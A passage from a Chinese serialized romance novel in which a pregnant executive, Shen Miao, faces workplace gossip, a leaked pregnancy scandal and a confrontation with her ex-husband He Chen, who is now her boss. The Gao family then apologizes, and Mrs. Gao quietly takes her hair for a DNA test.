可她要是跟吴玥珊说,沈渺的孩子是别人的,岂不是告诉吴玥珊,她编造沈渺跟贺忱不清不楚?
程唯怡只是想通过这种方法,逼沈渺当众承认怀孕,说出孩子是谁的。
到时候,贺忱肯定不会再护着沈渺!
这想法刚落地,程唯怡的手腕突然一紧。
她抬头,冷不丁对上贺忱冷然的目光。
“跟我来。”
贺忱拉着她朝宴会厅外走去。
205.前任的现任,都想一比高下。
酒店门口,贺忱甩开程唯怡的手。
程唯怡不慎防备,踉跄后退,揉着发痛的手腕,眼色忐忑地看着他。
“贺,贺忱哥,怎么了?”
“你说怎么了?”
贺忱眸色沉得比夜晚的凉风还冷,他如注地盯着程唯怡。
程唯怡的手渐渐垂下,使劲捏着裙摆,尽力让自己看起来无恙。
“我太久没跟珊珊见面了,所以就想在深城多待两天,你不能连这也要管我吧?体检的事情……我回去会照办的。”
贺忱薄唇轻掀,“说说,这次又想对沈渺做什么。”
程唯怡面色划过一抹被戳破的窘态和心惊。
但她很快就稳了心神
“这件事跟我没关系,沈渺自己不知怎么得罪珊珊了,珊珊想为难她。”
她早已想好的措辞,在贺忱这根本不成立。
“是吗。”
他不戳破,不拆穿,淡淡地吐出一句话,“那你去把吴玥珊摆平了。”
程唯怡猛地抬起头,“你让我帮沈渺?”
贺忱眉梢微挑。
“贺忱哥,我没有那么大度,珊珊为难她我不落井下石就不错了,做不到帮她!她可是你的前妻,别说现任的前任,就是前任的现任,大家见了都想一比高下……”
程唯怡实事求是。
她的话在贺忱心底,泛起涟漪。
就算是前任的现任,都想一比高下。
他眸色一深,眉骨紧紧收拢。
“那,我就自己收拾吴玥珊。”
他打断程唯怡的话。
程唯怡喉咙一紧,下意识说,“珊珊在国外时帮了我很多——”
贺忱不听她说,转身离开。
沈渺在回家的出租车上,眼皮剧烈抽动了两下。
她摁了摁眼皮,心跳突然失律两拍。
微信响了一声,石青达通过了她的好友申请。
并且很快发来消息。
【沈渺,你真是太过分了,拿感情当儿戏,都已经怀孕了还谈感情,我这个人对待感情是很认真的,我要去找你的上司要个说法!】
“骗感情?”
商音翻了个白眼,“不是,这人有病吧?不就在宴会上见了一面,怎么就成了骗感情了?”
沈渺想了一路,也想不明白,‘感情’二字,从何而来。
“呦呵,你看,网上关于石青达的新闻还不少呢。”
商音在网上搜查了下石青达的名字。
石青达在商圈的丰功伟绩一笔带过,讲述最多的就是他的感情史。
一次又一次以结婚为目的的接触,一个又一个的女人。
“他还参加过相亲节目呢,这么大一老总去电视上找老婆,也不怕丢人,难怪这么较真,老婆迷啊。”
沈渺凑过来看了一眼。
网上记录石青达公开择偶的次数不计其数。
他在认真择偶中,也认真地挑选,几乎都是他觉得对方不合适。
这次石青达这么生气,是因为他挺中意沈渺的。
该说不说,沈渺又荣幸又倒霉。
“也行,石青达要是找了贺忱,贺忱把你开了,你就回家养胎。”
商音嘴上宽慰她。
可离职这两个字,从头提到尾,次次不如意。
商音早已不抱希望。
“明天周末,我不上班,我去找他解释一下,这件事情……一定有吴玥珊的手笔。”
而吴玥珊又跟程唯怡脱不了关系。
沈渺不想让这件事情发酵到工作上去。
对她名声有损,对她未来的事业也会有损伤。
“辞职的话是这么一说,让人家炒鱿鱼面子上也过不去,何况咱还是冤枉的。”
商音朝沈渺眨眨眼,“我在行动上支持你。”
沈渺点了下头,朝楼上看了一眼,“今天就出院了?确定没事了?”
“已经不烧了,秦川说回家多观察就行了。”
短短几天,商音有种被掏空的无力感。
虽然不用工作,可是看到孩子生病,她着急上火,比工作还累。
“那你早点休息,我先回了。”
沈渺刚停好车,就被她喊过来吃宵夜。
她出席宴会连口生日蛋糕都没吃上,就回来了,正饿呢。
走出商音家,她又想起什么似的,给何之洲发消息,让何之洲过来上药。
她前脚进家门,后脚何之洲就过来了。
“让你给我打电话喊我上药,你非得发信息,得亏着我定了闹钟提前醒了,不然肯定就错过了你的消息。”
何之洲碎碎念,他哪儿能不知道,沈渺是故意的。
“一天不上药死不了。”
沈渺不遮掩自己不想给他上药。
“我明天有事一早就得出去,今晚上了药就不来打扰你了。”
何之洲坐下的姿势很生硬,“别提了,感觉今天行动更不方便了。”
他的伤在膝盖,结痂后周围的皮肤紧巴巴的。
弯腿的动作受影响,行动自然不方便。
“忍几天吧,等会儿上完药,你拿着药回去,明天早上自己上。”
沈渺坐下,给他上完药,直接把碘伏和棉棒都装起来,递给他。
“明天周末,你有时间吗?”
何之洲接过棉棒。
沈渺,“没空。”
“又加班?”何之洲拧眉,“贺忱也太不是人了,你肚子都这么大——”
他正欲比画沈渺的肚子很大。
可定睛一看,真不算大。
“你这肚子未免太小了些。”
沈渺低头,谁说不是呢?
这都六个多月了,她低头只能看到拢起的上位曲线,竟是还看不到肚子。
“医生说孩子确实偏小,不过一切正常。”
每次产检都会被说胎儿太小,沈渺有些焦虑。
不过商音说,网上极个别的孕妇,跟沈渺一样肚子很小。
跟个人体质有关,再加上沈渺工作太忙,确实没有其他孕妇养得那么好。
后来沈渺就不焦虑了。
“那你好好养着,我就不打扰你休息了。”
何之洲不墨迹,拿了东西就起来了。
沈渺起身跟着他往门口走。
“别送了,你早点休息。”
何之洲一只脚踏出她家门,回过头来说。
回应他的,是沈渺关上门,并且‘啪嗒’一声从里面将门反锁的声音。
沈渺上床后,让李白恬查了下石青达的行踪。
明天中午石青达会跟朋友去维亚斯吃饭。
上午十点,沈渺打车去维亚斯。
李白恬花了心思,把包厢定在石青达隔壁。
206.她当众宣布,孩子是谁的。
沈渺到的时候,李白恬已经在包厢里等着了。
“沈渺姐,我刚看到石青达了。”
李白恬往隔壁指了指,压低声音说,“你猜,他约的人是谁?”
沈渺放包入座,“谁?”
“原本约的是朋友,结果不知怎的,变成了高家少夫人,她刚挺着孕肚进去的。”
李白恬见过吴玥珊一次。
虽然只有一次,但印象深刻。
沈渺眸光微转,本打算以偶遇的形式见石青达一次。
可如今——
“你在这儿等我,不管发生了什么事情,都不要过去。”
沈渺站起来,径直朝隔壁走去。
包厢门半掩。
吴玥珊的声音传出来。
“我没想到她是这种人,不然我也不能帮她牵这个线,我后来打听了一下才知道,她肚子里揣着一个,不知道谁的,急于给孩子找个爹,她还勾搭过她上司,就是京北贺家的继承人……”
沈渺就是吴玥珊口中的那个‘她’。
“真是太过分了,我约了贺总下午见面,我一定要让他给个交代,百荣集团怎么能要这种女人,还爬到了这么高的位置!”
石青达气的一夜没睡。
且不说吴玥珊说的是真是假。
就说沈渺跟石青达,不过是昨天刚见了一面。
却被石青达搞出跟沈渺快结婚了的架势。
“我的不是了,石总,我朋友是贺忱的未婚夫,他们很快就要结婚了,你想怎么处置沈渺,我让我朋友跟贺忱打声招呼?”
吴玥珊卖好。
石青达挥手,“不用,这件事情不是你的错,你也是好心……”
“她的好心在哪儿呢?”
沈渺踢开门,缓步走进来。
室内一下变得明亮许多。
“石总,我跟这位高家的少夫人,吴玥珊小姐,一点都不熟,只见过两次面。高少爷的生日宴会,是陪贺总过去的。”
她给了吴玥珊两个称呼。
一个高少夫人,一个吴玥珊小姐。
意思是这两个身份的哪一个,她都不熟。
“石总,您是生意人,我希望您能理智地看待这件事情。”
仅凭吴玥珊一面之词,石青达就认为她想让石青达背黑锅喜当爹。
离谱,实在离谱。
“沈渺,难怪你找我搭石总这条线,早就想好了反咬我一口了吧?是因为我从唯怡口中得知,你跟贺总那点破事儿了吗?”
论撒谎骗人。
吴玥珊称第二,没人敢称第一。
她在最短的时间内反应过来,说谎时脸不红心不跳。
石青达看看沈渺,又看看吴玥珊。
他毕竟是深城人,跟高家人打过交道。
相比之下,沈渺这个以前没见过面的,可信度低了许多。
“难怪我预约跟贺总见面,贺总拒绝了,原来他跟你——”
石青达面露讥讽,“我以为风光霁月的贺忱跟其他男人不一样,原来也是这种不忠于感情的人!”
“我以为石总做到今天这个位置上,是有点脑子的,没想到这么蠢。”
沈渺不得不承认,吴玥珊真会找人。
石青达是个榆木脑袋,死心眼。
若非如此,他也不至于守着这么大家底,却连个老婆都找不到。
“你——”石青达气得豁然起身,盯着沈渺。
“石总,这沈渺太过分了——”
吴玥珊火上浇油。
沈渺打断她,“少在这儿煽风点火,你比他还蠢,被程唯怡当枪杆子使,迟早有一天连累高家。”
包厢里三个人,两个面红耳赤眼睛都快瞪出来。
一个气归气,面上还算平静。
沈渺丢下这番话,转身回到包厢,拿了包就走了。
李白恬快步跟上她,出来时往隔壁包厢看了一眼。
刚好看到面红耳赤那两人。
“沈总,你干啥了?”
李白恬小跑着追上沈渺,“你是不是不该进去,看到了不该看的东西啊?”
沈渺,“确实,今天还不如不来。”
若是没有吴玥珊在添油加醋,沈渺还能耐着性子,跟石青达这个榆木疙瘩再聊两句。
虽然有转机的可能性小,但也不是完全没转机。
这下好了,把人都得罪了。
“哦吼?”
李白恬惊呼一声,“高少夫人大腹便便,好这口?两人怎么不去酒店,在餐厅就……你看到啥了?他们到哪一步了?不止是亲个嘴子摸个小手的吧?脱衣服了吗?”
沈渺猛地停下,回过头来。
“你说什么?”
“就,他们孤男寡女,面红耳赤的,不是被你撞破奸情了吗?”
李白恬伸出两个手指头,比画了比画。
沈渺眉头一拧,“不是你想的那样,这事儿一句半句说不清楚,我还有事,你回家吧。”
“哦好。”李白恬脸上没了即将吃到瓜的雀跃。
她耷拉着脑袋,目送沈渺离开后,上了回家的公交车。
沈渺则给贺忱的了一通电话。
吴玥珊编造她跟贺忱有一腿,石青达不敢乱传谣言。
他得罪不起贺忱。
但是石青达一定会找她麻烦。
如今她是百荣分部的负责人,她的一举一动都会影响到公司。
她有必要提前跟贺忱汇报,想出应对措施。
再者,这事儿跟程唯怡有关。
只是,贺忱的电话没人接。
沈渺给公司前台打了通电话,得知今天贺忱没去公司。
她打车去了贺忱家里。
约莫四十分钟的车程。
比她更快一步的是新闻。
沈渺在商圈有一定知名度。
她怀孕的消息被报道出来没十分钟,就上了各大媒体的头条。
媒体曾对沈渺的感情状况进行杜撰过。
未婚或者已经结婚了,但是没有公开。
又或者,她在这么多商圈大佬面前,迷失了自我,做了某些人的地下——
沈渺从未回应过那些杜撰,久而久之也就不了了之,毕竟她也不是什么特别大的人物。
可是近期,她接管百荣分部,如今又被爆怀孕,关注度一下上来了。
沈渺的婚姻状况,另外一半是谁,都是最中规中矩的猜测。
她没结婚,怀了孕,孩子是谁的的猜论,更多人参与。
沈渺在贺忱家门口下车时,脸色有些苍白。
她看着那扇紧闭的房门,迟迟没有上前。
若事情没曝光,她来找贺忱提前想对策。
可曝光了,就要想办法解决。
解决的办法,只有一个,她当众宣布,孩子是谁的。
207.还是想听她亲口说
“沈渺,网上的新闻怎么回事啊?”
商音看到新闻,立马给沈渺打电话,“这个男的傻B吧?”
虽然新闻里,只字没提石青达。
但这事儿肯定是石青达的手笔,没跑。
网上诸多的声音中,呼声最高的就是沈渺单身怀孕,不知跟谁不清不楚,现在正找男人接盘。
“我在贺忱家门口,本来想找他提前想对策,没想到新闻已经曝光了。”
沈渺站在路边,将一颗小石子在路沿上踢来踢去。
商音,“照你这么说,这事儿的幕后黑手是程唯怡,贺忱他能帮你?”
“他总要顾虑公司吧。”沈渺抱着侥幸心理。
商音骂骂咧咧,“生个孩子碍他们什么事了?一个个吃饱撑的来管别人的事情?”
当初她生商商,评论区很多喷子,说商商父不详。
甚至有过分地说,这孩子是她花钱买来的,根本不是自己生的。
不过她无所谓,吃的就是互联网这碗饭,黑粉也是粉,还因此涨了些知名度呢。
可沈渺不一样,名声败坏影响她未来事业。
“先不说了,我去找贺忱。”
沈渺想了想,无论如何她都得找贺忱这一趟。
挂了商音的电话,她朝别墅里走去。
二楼阳台,白色纱帘被风吹动。
贺忱站在那里,墨色的长眸盯着路边那抹身影。
他手抵着手机,正在接听电话。
“不压新闻?”
林昭语气惊讶,“这样下去,公司的股市会受到影响的。”
贺忱,“不急。”
“这……”林昭大抵猜到他什么意思,随又问,“那要不要往下查?”
贺忱,“想办法让程唯怡回京北,再去管高家要个解释。”
林昭瞬间明白,这事儿是程唯怡跟吴玥珊搞的鬼。
“是!”
切断电话的一瞬间,门铃响了。
贺忱转身下楼,他站在楼梯看着视频中门外清瘦的那抹身影。
沈渺不施粉黛,眉眼精致有型,微微蹙起的眉头显出几分多愁善感。
他身子抵着墙,并未开门,侧着头静看着屏幕上沈渺的影子。
摁了半天,无人开门,她微抿了下嘴唇,又给他打电话。
震动声此起彼伏,仅一门之隔的沈渺听不到。
声声震动在他掌心蔓延开一股酥酥麻麻的感觉,直蹿他心口。
他没给沈渺开门,有些事情他也想知道。
哪怕他已经猜出端倪,却还是想听她亲口说。
或许,他猜得不对。
门外,忙音此起彼伏。
沈渺深吸一口气,又吐出来。
出乎她预料,贺忱竟是没接电话。
看样子,也不在家。
许是……陪程唯怡出去了?
她只能转身离开。
新闻传出后,公司就乱套了。
韩文松士气正旺,没放过这个打压她的好时机,带领高层开会,让她去给个说法。
贺懿想压新闻,但是她向总部提出解决方案,却被总部驳回。
说冷处理。
如此一来,贺懿这个沈渺的‘心腹’,也被打上办事不力的标签。
回公司的路上,沈渺的电话就没断过,一个接一个地响
——
“你们谁得罪贺忱了?”
高振山匆匆进家门,顾不上放下公文包,直奔客厅去问。
高夫人正跟吴玥珊喝下午茶。
她放下茶盏站起来,“我们跟贺忱哪里有交集,怎么会得罪贺忱?”
“那贺忱的人为什么来找我要个说法?”
高振山把公文包往沙发上一丢,“该不会网上的新闻,跟你们有关系吧?”
吴玥珊眼神闪烁,不敢对上高振山的目光。
高夫人一头雾水,“什么新闻?”
她边说边拿起手机来,翻了两下,脸色渐变。
“沈渺怀孕了?父不详?”
高振山见她还不知情,就知跟她没关系。
他又看向吴玥珊,恰好看到吴玥珊目光闪烁。
“你说,怎么回事?”
他指着吴玥珊问。
吴玥珊见躲不过去,索性说,“这件事情,其实跟我也没关系,是沈渺不自重,勾引贺忱,程唯怡咽不下这口气——”
“所以呢?”高振山顿时明白怎么回事,“你就冲上去给人家当枪把子了?”
那天在宴会上,他看到吴玥珊跟程唯怡关系好,还挺欣慰。
毕竟程唯怡是准贺少夫人。
谁知——
吴玥珊是个没脑子的,白白被人利用了去。
“爸,我就是……帮了个小忙,而且唯怡才是贺忱要娶的人,沈渺算什么?咱们跟唯怡搞好关系——”
吴玥珊的话还没说完,就被高振山打断了。
“胡闹!如果沈渺在贺忱心里没分量,怎么会成为分公司的负责人,现在这新闻一出,贺忱怎么会找我兴师问罪?”
吴玥珊梗着脖子不说话。
高夫人放下手机,却是问了句,“那沈渺的孩子,到底是谁的?”
“是贺——”吴玥珊差点脱口而出。
但她又忍住了。
程唯怡再三叮嘱,这件事情千万不能传开。
一旦传出去,贺忱有可能撕破脸,不跟程唯怡结婚了。
“现在是研究这些的时候吗?”
高振山瞪了眼吴玥珊,“想想怎么把新闻压下去,给贺忱赔礼道歉!”
“振山。”
高夫人却是提点了句,“沈渺,怀孕了!”
高振山面露不耐,正欲说什么,对上高夫人的眼神,却又猛地意识到什么。
“你的意思是……”
“你把新闻压一压,去找贺忱道歉。”
高夫人侧目,看向吴玥珊,“你跟我一起,去给沈渺道歉。”
吴玥珊,“我不去。”
“不去不行。”高夫人当即开口,“现在上楼换衣服,马上走。”
吴家条件不如高家。
当初她是母凭子贵,怀上了孩子才进了高家的门。
吴玥珊只能上楼换衣服,跟着高夫人出家门……
——
绯闻四起,李白恬也被召回公司了。
沈渺到的时候,她已经在门口等着。
“沈总,韩文松拿着鸡毛当令箭,说总部董事们都非常关注这件事情,韩董让他替董事们转达不满,要求你必须给出一个解释,人都在会议室等着了,贺总也在来的路上。”
闻言,沈渺脚步一顿,“贺总来了?”
李白恬点头,“韩文松说他给贺总打电话了,贺……来了!”
正说着,库里南在十字路口转过弯来,直冲地下车库。
208.沈渺,你跟的什么烂人?
黑茶色的车窗,依稀可见男人轮廓。
鼻梁上金色的眼镜闪过一抹暗芒,他投来的一眼,令沈渺有片刻血液凝固般的僵直。
很快,沈渺反应过来,她动了动身体。
“进去吧。”
算算时间,韩文松跟她应该是前后给贺忱打的电话。
可是贺忱没接她的。
贺忱的意思,显而易见。
沈渺轻咬了下内唇,抬脚朝公司内走去。
顶楼,会议室。
沈渺等电梯时,迟了贺忱一步。
彼时,贺忱已经在会议室主位坐下了。
他双腿叠放,手抵在桌沿,腕表折射着办公室的灯,落下一小块光打在贺忱的金丝眼镜上。
他眼眸微微眯着,眼底一片深邃,令人捉摸不透的深邃。
“沈总遇到事情,怎么总是逃。”
韩文松先发制人,“出事这么久了,你才来公司。”
沈渺走进来,路过贺忱身边时,低声道,“贺总。”
然后她没理韩文松的话,走到座位上坐下。
韩文松小人得志,“贺总,公关部没能及时处理这次的危机,也很失职,不过眼下我们还是先解决沈总的问题,您知道沈总怀孕的事情吗?”
若是连贺忱都不知道,那沈渺就是故意隐瞒怀孕了。
又多了一桩罪名。
“刚知道不久。”
贺忱抬起的手,轻轻转动着腕表表袋,姿态慵懒。
他摆明了态度,任由韩文松刁难沈渺。
“那贺总一定不知道,沈总的老公是谁吧?”
韩文松语气近乎笃定。
沈渺这个孩子要是来得正大光明,新闻爆出第一时间,她拍一张跟老公合照发朋友圈,都能瞬间化解危机。
可是新闻爆出这么久了,沈渺始终保持沉默。
一定有鬼。
贺忱手上动作一停,旋即十指穿插着。
他摇了摇头,微侧目看向右手边的沈渺。
“那沈总就跟大家说说吧,你现在到底是个什么状况,如果……状况实在见不得光,赶快说出来大家替你想想办法,怎么遮掩过去,别影响了公司。”
韩文松似笑非笑。
沈渺要是解释不出来,等待她的只有被开除一条路。
她若是说出来了,孩子来路真的不明,依旧是被开除。
不管怎么算,今天的沈渺都走定了。
身侧,男人投来的目光如注凝着。
沈渺脸颊薄红,心跳如鼓。
一片死寂中,她的呼吸声很是清晰。
沈渺缓了缓心神,面容平淡地抬起头来。
“抱歉,又给公司带来了麻烦,我辞……”
在工作和孩子之间,沈渺果断地选择了保孩子。
她可以承受所有舆论,可以放弃这份工作。
她只是商圈的一个小角色,现在的风口浪尖令人唏嘘。
过不了多长时间,层出不穷的商圈新贵就会把她压下去。
她会被所有人忘记,自然也不会有人再刨根问题,追究她的孩子是谁的。
辞职二字,还未彻底出口时,她便听见身边的男人薄唇里溢出一声讽刺的嗤笑。
那笑声,宛若一根针,刺在她的喉咙里,将剩下的一个字卡住了。
“都出去。”
贺忱蓦地开口,沉得能滴出水的脸色,一瞬间变得锋锐。
他生气起来,上位者的威压感一瞬间蔓延开来。
韩文松收敛了看戏的笑容,迟疑片刻,率先站起来,朝外面走去。
其他人纷纷跟着起身,迅速朝外面走去。
沈渺最后一个站起来,不待朝外走手腕被男人握住。
他手指细长有力,圈着她细细的手腕,温热的触感带着一股禁锢感般,让沈渺停下来。
他没使多大的力气,像是怕弄疼了沈渺。
‘吱呀——’
会议室的门被人从外面关上,杂乱的脚步声隔绝开来。
沈渺眼皮垂着,下眼睑被打出一道阴影,遮住了眼眸的情绪。
贺忱保持坐着的姿势,微抬头看向他,“沈渺,你跟的什么烂人?闹成这样,也不见他出来给你撑腰。”
“不是他不来,是我不需要。”
沈渺唇瓣微动,语气平静。
贺忱,“不需要?现在不需要他给你撑腰,将来孩子也不需要父亲吗?何——”
“贺总。”
沈渺打断他激进批判的话语,“这个孩子是我一个人的,我不需要任何人来帮我,将来我受再多的非议,我也不怪对方,因为留下孩子是我的决定。”
“这么善解人意?”贺忱倏地站起来,扯乱领带的手青筋凸起。
他朝她步步逼近。
凛然的气息在他周身蔓延开,空气逐渐稀薄。
沈渺觉得呼吸都费力。
她被逼到角落,薄背抵着墙,双手不由地撑在身前,隔开与贺忱的距离。
“贺总。”
何之洲深夜跟沈渺进了她公寓门。
一早又在她家离开的画面,涌入贺忱的脑海。
贺忱紧咬着牙,下颚清晰的线条让他整个人看起来有几分失控。
“沈渺,这个孩子是——”
质问,探究,不敢相信,又或者说不愿意相信。
诸多的语气,交织在短短几个字里。
贺忱差点儿被这股情绪搞得乱套了。
会议室的门突然被人紧敲了几下。
贺懿将办公室门推开一条缝,人还没进来,先开了口。
“新闻被压下去了,而且还有人指责媒体涉嫌曝光人家隐私,将那几家媒体全都告上法庭了,渺渺,一定是何——”
一定是何之洲出手了。
贺懿知道何之洲来深城了。
她的话还没说完,看到角落里姿态暧昧的两人,声音戛然而止。
沈渺被贺忱圈禁在角落,贺忱动作强势表情难掩落寞,没了往日的冷静可言。
沈渺倾身躲出来,拉开与贺忱的距离。
“离职的事情,贺总处理好了通知我,这几天我就不来上班了。”
说着,她转身往会议室外走去。
路过贺懿身边时,她停下来微微颔首,算是打过招呼。
“你现在辞职,会有很多麻烦的。”
贺懿劝她,“留下来,百荣分部负责人的身份,能帮你省去不必要的麻烦。”
沈渺,“可这些麻烦,本就是这个位置带给我的。”
如果她只是一个普通人,未婚先孕父不详,最多引起周围人的议论。
哪里会面临如此的局面?
209.是贺忱干的吧?
贺懿沉默了,这是事实。
贺忱的身份摆在这里,跟在他身边的人,都会受到业界内的关注。
就连林昭,都曾被几个老总递过几个名片,想撮合他跟自家女儿。
沈渺离开了会议室,会议室的门关上。
“哥,那你批准沈渺离职吗?”
贺懿走过去,问贺忱。
贺忱站在原地未动,人刚好被傍晚的一抹夕阳笼罩,镀了一层金芒。
“压新闻的人是谁。”
“何之洲呗。”贺懿毫不犹豫地说。
除了何之洲,谁还愿意趟这趟浑水?
谁又有那个本事,把媒体都告上法庭?
贺懿是猜的。
贺忱却以为,她调查过了。
他折身阔步离开会议室。
他回办公室的路,刚好与沈渺往外走相悖。
两人隔着秘书办办公区,在两条道路上错开。
网上的新闻被压得干净,沈渺上了回家的出租车,翻了各大媒体主站,都没找到蛛丝马迹。
像是不曾存在过那般。
她想到贺懿的话,下车后没回家,先去了何之洲那儿。
摁了两下门铃,门内传来脚步声。
何之洲打开门看到她,表情一僵没说上话来,拉着她进屋了。
“你来得正好,我刚要问你,网上的新闻需要我帮忙吗?我看都消停了,是贺忱干的吧?”
沈渺站在玄关,停下来看着他,“不是你?”
何之洲也愣住,“我?没得到你的允许,我不敢乱帮忙。”
他要是帮了,所有人都会觉得,他是沈渺肚子里孩子的父亲。
“也不是贺忱。”
沈渺面露茫然,她猜不出除了何之洲,还有谁会帮她。
“那,还能有谁啊?”何之洲眨着眼睛,“你那小闺蜜?”
“不可能。”
沈渺一口否决,商音有心无力,没那么大的本事把几家媒体都告上法庭。
她疑惑着时,手机突然响了一声。
是高夫人发来的微信,约她见面,点破是为了绯闻的事情。
竟然是高家出的手?
“高家为什么会帮你?”
何之洲百思不得其解,“你刚来深城,跟高家人又不熟,而且高家跟韩董的人见过面,有没有跟韩董串通一气都不好说。”
“为什么帮我,等见了面就知道了。”
虽然沈渺也想知道高家帮忙的原因。
可天色已晚,她跟高家人约在第二天中午见面。
地点是高家选的,在她家附近的一个西餐厅。
沈渺打车到的时候,高家几人都到了。
不是高夫人一个人,而是高家夫妇,以及高裴济和吴玥珊。
四个人端端正正坐在包厢里。
沈渺一推门进来,几个人一同看过来,让沈渺有种掉入狼窝的感觉。
“沈渺,你来了。”
高夫人起身朝她走过来,“真是的,见了这么多次面,竟然没看出来你怀孕,几个月了?”
沈渺避开她试图挽上自己胳膊的手。
“六个多月了。”
说着,她看了吴玥珊一眼。
恰好吴玥珊在看她,见她看过去,吴玥珊翻了个白眼,移开目光。
“高总,高夫人,谢谢你们压下网上的新闻,只是我想问一句,你们为什么帮我?”
压新闻不费力气。
但是高家还把那几家媒体告上法庭,就是费时费力又费财的事情了。
依照高振山不想让她跟高夫人过多接触的状态,他应该不会同意高夫人这么做。
“说来惭愧。”
高夫人引着她在餐桌前坐下,移开的目光瞪了吴玥珊一眼,“你自己说。”
吴玥珊拗不过,表情有些不自然。
“沈渺,对不起啊,新闻是我让人散播出去的。”
除了她,还有石青达的手笔。
但吴玥珊把石青达也扯出来,那她骗石青达的事情暴露,等于犯了两个错误。
她索性就一个人把责任承担了。
“我们高家向来行得正坐得直,她也是被人蛊惑了,沈总大人不记小人过,别为这事儿结了仇。”
高振山开口,语气比上次让她离高夫人远点,不知好了多少倍。
“是啊,你跟珊珊月份差不多大,都是孕妇共同话题应该很多,以后没事多接触接触,一定能成为朋友。”
高夫人笑着撮合。
她的语气像是撮合两个上小学闹了矛盾的同学,以后好好相处。
“不敢高攀,高总、高夫人也请放心,过去的事情就过去了,我不会放在心上。”
沈渺字里行间,都是不愿意跟吴玥珊交朋友。
而且,她也不想跟高家人走太近。
高夫人看了高振山一眼。
高振山清了清嗓子说,“沈总还在为那天,我说的话生气吗?我为那天的话向你道歉,我太太心软,她之前错信了一个人,差点被人利用了,所以在社交方面我有些不放心,是我小人之心度君子之腹了。”
“高总多虑了,不是高少夫人的问题,更不是您的问题,我这个人慢热,而且一心都在工作上,没有多余的时间和精力交朋友。”
沈渺婉拒。
她说话时,看了高裴济一眼。
高裴济像个事外人,自始至终没说一句话,低头玩手机。
出于礼貌没将他刷的内容外放声音,已经是他对今天这个局,最大的尊重了。
高家几人都沉默了。
沈渺站起来,微微颔首。
“再次谢谢高总出手相助,单我已经买好了,饭我就不吃了,希望你们用餐愉快。”
她转身离开。
高振山脸色拉下来,看了高夫人一眼。
高夫人即刻起身,拿着外套穿上,跟着沈渺出来。
“沈渺,我才知道那天他跟你说了那样重的话。”
包厢外,沈渺原本阔步离开。
因为她追出来,不得不放慢脚步。
“他这个人就这样,你别放在心上,好吗?”
沈渺客气一笑,“高太太,我真的没有放在心上,您不用送了,回去吧。”
高夫人依旧跟着她,“我送你到楼下吧,你看你大着肚子,慢一些。”
她提醒沈渺看台阶,注意扶手别碰到肚子。
沈渺一味道谢。
出了餐厅,沈渺站在路边等车,几次让高夫人回去,高夫人都不肯。
“过两天深城的雨季就要到了,你尽量少出门,别开车,怀孕期间还是要小心为妙的。”
她关心着沈渺。
210.我闯的祸我负责
怀孕后,除了商音无微不至的关心,沈渺几乎没有受到过其他人的关心。
她不由得多看了高夫人一眼。
一再拒绝的态度,也有了稍纵的缓和。
“谢谢您,我会注意的。”
“不用客气。”
高夫人慈善一笑,眼眸温柔和蔼,“女人怀孕最辛苦了,这个时候千万不能委屈自己,尤其情绪上不能生闷气,知道吗?”
沈渺点头,“没什么好生气的,车快到了,我要过马路等着,再见。”
她转身欲走。
高夫人却突然喊了声,“等等,这里有个东西。”
不等沈渺回头,只觉得头发一紧,头皮针扎似的疼了两下。
“瞧我,不小心扯掉了头发,这是不知哪里沾的脏东西。”
她指尖捏着一小块棉絮状的东西,还夹着两根乌黑的头发。
沈渺抬手揉了揉头皮。
“弄疼你了吧?”高夫人立刻抬起手,想摸摸沈渺的头。
沈渺下意识避开她的动作。
“没事,谢谢。”
高夫人面色划过一抹失落,将手落回去。
“去吧,路上注意安全,你在深城没亲人朋友,遇到事情可以来找我帮忙。”
沈渺不知跟高夫人说过多少次谢谢了。
面对高夫人无端而来的好意,她只能用苍白的谢谢来回应,心里却怎么也动容不起来。
除了刚刚那一瞬,心间涌入了一抹暖意外,再无波澜。
她转身朝马路对面走去。
高夫人收拢手指,将那两根刚拔下来的头发,紧紧攥着。
她转身回餐厅,不等进包厢,就看到高振山面色焦急地出来了。
“沈渺走了?”
高夫人点头,将两根头发装入塑封袋,“这是她的头发,拿去鉴定吧。”
“先不说这些。”
高振山把她的手推开,“你赶紧给沈渺打电话,贺忱抢了公司的大项目,他这是要为沈渺出头!”
高夫人脸色一白,“他这个人怎么回事?让我们给个解释,我们不是已经把新闻压下去,也替沈渺出头了?怎么还跟——”
“现在说这些干什么?”
高振山打断她,“想办法啊,赶快去联系沈渺啊!”
高夫人只得拿出手机,拨通沈渺电话。
彼时,沈渺刚上出租车。
“高太太,这件事情应该跟我没关系,我建议高总想办法见贺总一面,问清楚怎么回事。”
高夫人那端静了几秒,高振山的声音传来。
“新闻刚爆出来的时候,贺总就让人来要个解释,所以我这才压新闻……哦当然,就算不是贺总发话,也错在高家,我就该负责,所以贺总现在一定是觉得高家做得不够,沈总,你通融一下?”
沈渺竟是不知,贺忱还找过高振山要个交代。
是……为了她?
“高总,新闻虽然压下去了,但百荣的股市还是受到了影响,我已经引咎辞职,正等贺总批准,这件事情我实在无能为力。”
沈渺不是不帮,是帮不上。
贺忱怎么做,为什么这么做,哪里是她能过问,操控的?
“那我再想想其他办法。”
高振山挂了电话。
他们的通话,高夫人也听到了。
“沈渺辞职了?那她帮不上忙了?”
高振山面色凝着,把手机交给高夫人。
“辞了也好,没有靠山我们更容易拿捏,至于贺忱那边……我自己想办法。”
末了,他看了眼高夫人手里的塑封袋,“你抓紧办这件事情。”
“好。”
夫妻两人在餐厅门口分开来。
——
“你说什么?”
傍晚,深城医院秦川办公室。
他脱白大褂的动作一顿,看向贺忱,“谁告诉你,沈渺的孩子是何之洲的?”
贺忱坐在他位置上,目光黯然。
“没人告诉。”
秦川欲言又止。
沈渺离婚半年就怀了孩子,极有可能是婚内时就跟别人不清不楚了。
这是他编造出来的话,就为了激起贺忱的好胜心,让贺忱查到底,沈渺怀的到底是谁的孩子。
谁知——
“其中一定有误会,何之洲不是消停的性子,他要是真跟沈渺在一起了,跟何家闹翻了也得把人带回去,肯定不会藏着掖着。”
贺忱是了解何之洲的。
确实像秦川说的那样。
可他亲眼看到的。
“你那边有情况吗?”
他指的是秦川从商音这儿下手。
秦川摇头,“商音的口风很严,我以前对她爱答不理,现在每天聊两句,她都已经开始怀疑我了,我都能把她怀孕的具体时间段告诉你,你查查不就知道了。”
“算了,没必要。”
贺忱嘴上这么说,心里也这么想,“她怀的是谁的,跟我又没关系。”
秦川,“没准有关系呢。”
“什么意思?”贺忱目光一沉,朝他看过来。
“乱说的。”秦川面不改色心不跳,“程唯怡回京北了吗。”
贺忱摇头,“不知道。”
程唯怡不来找他,他向来不会主动联系。
“你们婚事在即,京北那边很忙,你打算在深城待到什么时候?”
